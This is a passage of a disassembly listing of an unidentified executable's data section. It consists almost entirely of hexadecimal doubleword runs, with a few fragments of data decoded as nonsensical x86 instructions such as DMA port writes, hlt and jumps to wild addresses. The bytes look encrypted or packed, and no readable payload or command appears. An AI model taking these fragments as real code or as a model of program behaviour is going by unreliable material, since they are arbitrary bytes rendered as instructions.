9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h ; --------------------------------------------------------------------------- loc_46C120: ; CODE XREF: .data:0046C126j out dx, eax ; DMA controller, 8237A-5. ; channel 3 base address ; (also sets current address) popa mov [edi-4Bh], ch loc_46C125: ; CODE XREF: .data:loc_46C15Bj sahf jb short loc_46C120 mov word ptr [eax], es adc al, 12h push 0CCCA0FF8h sbb [edi], al mov ds:3D832D88h, eax push eax push es sbb al, [edi+ebp-7A104800h] popf adc eax, 330E05h leave add al, 82h hlt ; --------------------------------------------------------------------------- dd 173D2A40h, 0DAF01h, 2770B841h db 2Ch, 0BEh, 0 ; --------------------------------------------------------------------------- loc_46C15B: ; CODE XREF: .data:0046BA9Cj jnb short loc_46C125 bound edi, [esp+eax*4-3Ah] add eax, 14A0528h mov al, ds:0F5005A0Eh mov word ptr [edx], cs adc [eax+6Dh], ch pop es xchg eax, edi sub [edi-3C7FF0AFh], eax jmp near ptr 0FE4A7C70h ; --------------------------------------------------------------------------- db 14h, 0EBh, 0E5h dd 5DF82EA0h, 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h dd 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h dd 0D825F477h, 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h dd 61B88993h, 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h dd 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h dd 0A17C051Ch, 83390980h, 0B1528h, 480213DFh, 0E4F98108h dd 7F27AD0Eh, 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh dd 0CD97D2D5h, 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch dd 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh dd 0C100ED80h, 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh dd 10009EE8h, 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h dd 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch dd 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h dd 5FF1490h, 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h dd 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh dd 2C2B5F02h, 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h dd 4D08B1FEh, 0E1339048h, 9149200h, 31742506h, 47F2Ah dd 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h dd 1F643EBh, 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh dd 8806001Eh, 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh dd 7A00733h, 20670AA9h, 3E5A250Bh, 0B0F8BF00h, 2A824D8h dd 13760075h, 0C655F378h, 4600FC32h, 8316A008h, 0FE7A23h dd 0B02CC74Bh, 0B20994F8h, 13B34503h, 984D665Ch, 7FDC5D3Fh dd 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h dd 4C7DE9E3h, 7F39B412h, 91925304h, 0C37AC466h, 25F80F47h dd 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h, 0D5C6301Eh dd 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h, 148D0A00h dd 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h, 489C5A59h dd 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h, 14095C1h dd 990EFE81h, 0A137984Eh, 359AD285h, 0FAC2F4h, 4D2E4C9Bh dd 0A5F49009h, 4410BC00h, 1D5C890Dh, 25B0013h, 3AEB1B87h dd 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch dd 73C3921h, 8283090Ch, 84EF0017h, 1CCD1D33h, 0AE2E4BB3h dd 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh, 0EB210307h dd 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h, 591913CAh dd 0A8870EAFh, 78962640h, 6B050969h, 8D41670Eh, 0C7A5FB80h dd 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh, 521D7C3Bh dd 0D8400712h, 5FE82606h, 297B0099h, 4470119h, 9D030320h dd 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh, 117A842Dh dd 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh, 4D3E7D82h dd 5D218300h, 9D10FE93h, 0C96C0094h, 0F174D4CFh, 6B00E809h dd 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch dd 8DCC5EF0h, 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h dd 8E90A23Bh, 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h dd 87B75D2h, 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h dd 0D4E19B80h, 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch dd 19920B7Bh, 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h dd 16630026h, 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h dd 907889Ah, 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h dd 0FD8498C7h, 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h dd 0F30A024Bh, 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh dd 5658B61h, 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h dd 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h, 24C3838Eh dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h dd 428F1E50h, 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h dd 1F91D0C8h, 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h dd 2A7829h, 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h dd 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h dd 728143FCh, 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h dd 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh dd 0C50558h, 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h dd 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h dd 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh dd 40401E9Ch, 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h dd 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h, 1470700h dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h, 0CF3FDA3h dd 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h, 10E08650h dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h, 24405FAAh dd 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h, 0B04C3AE0h dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h dd 190DB00h, 96F1F728h, 0F8300048h, 0C7431C17h, 8003BE03h dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah, 8AD20F20h dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h dd 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh, 24C02630h dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h, 1340555h dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh dd 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h, 7301FA00h dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h, 195A8C68h dd 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h, 1B48AC04h dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h, 4F53003Ch dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h, 77BBC36h dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h, 3C0C141Ch dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh, 3EA6734Ch dd 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h, 0A8E3453Bh dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h, 4BC3F300h dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h dd 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h, 2401303Ch dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh, 67E8E740h dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh, 0E802F061h dd 53515200h, 818FF689h, 0F4500084h, 1058E012h, 6E7E6463h dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh, 0A0002FBh dd 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h, 22000E74h dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h, 75EB0A02h dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h, 0D31C4148h dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h, 400EDE38h dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh, 76808B08h dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h dd 50154061h, 828C638h, 59EFFE00h, 74F1513Dh, 48E0006Fh dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h dd 2C444D42h, 2189084Eh dd 67017F70h, 718D0559h, 0C5EC3D09h, 0B50600A6h, 0EF16439Eh dd 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h, 64176775h dd 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h, 0C48C74CEh dd 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h, 0A161A486h dd 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch, 2BEE5923h dd 449E21A0h, 27482214h, 6CF11E42h, 0F238689h, 56986136h dd 0A3E88844h, 1E5BEA30h, 8F92899Ah, 8D20CF86h, 93E8EC53h dd 9879105h, 0C4E00463h, 87BE1h, 2480A48Ch, 42C78F54h dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h, 9200A4B5h dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h dd 0C2BE02h, 4AB80C52h, 3F1FFC5h, 3854491Ch, 86E97282h dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h, 57221509h dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh dd 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h, 2690F1FAh dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h, 0BCFB82h dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah, 124F60F0h dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h, 0A005F8F5h dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch dd 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h, 68A2E984h dd 0D49CBFh, 3E434B93h, 57E148C2h, 70E80C00h, 0E9A79504h dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h, 0DF5C44Dh dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h, 0FF03E990h dd 2F967100h, 2836156h, 417E1D05h, 3D2580EEh, 7594C81Ch dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h, 73870015h dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh, 1806BEh dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh, 47743E40h dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h, 6ECF7013h dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh, 587404CCh dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh, 73036EA0h dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h, 5138C2C7h dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch, 41151268h dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h, 0E03E60Bh dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h, 2712E5E4h dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh, 391EFA01h dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h, 213BA044h dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h dd 0D3003958h, 250CE16h, 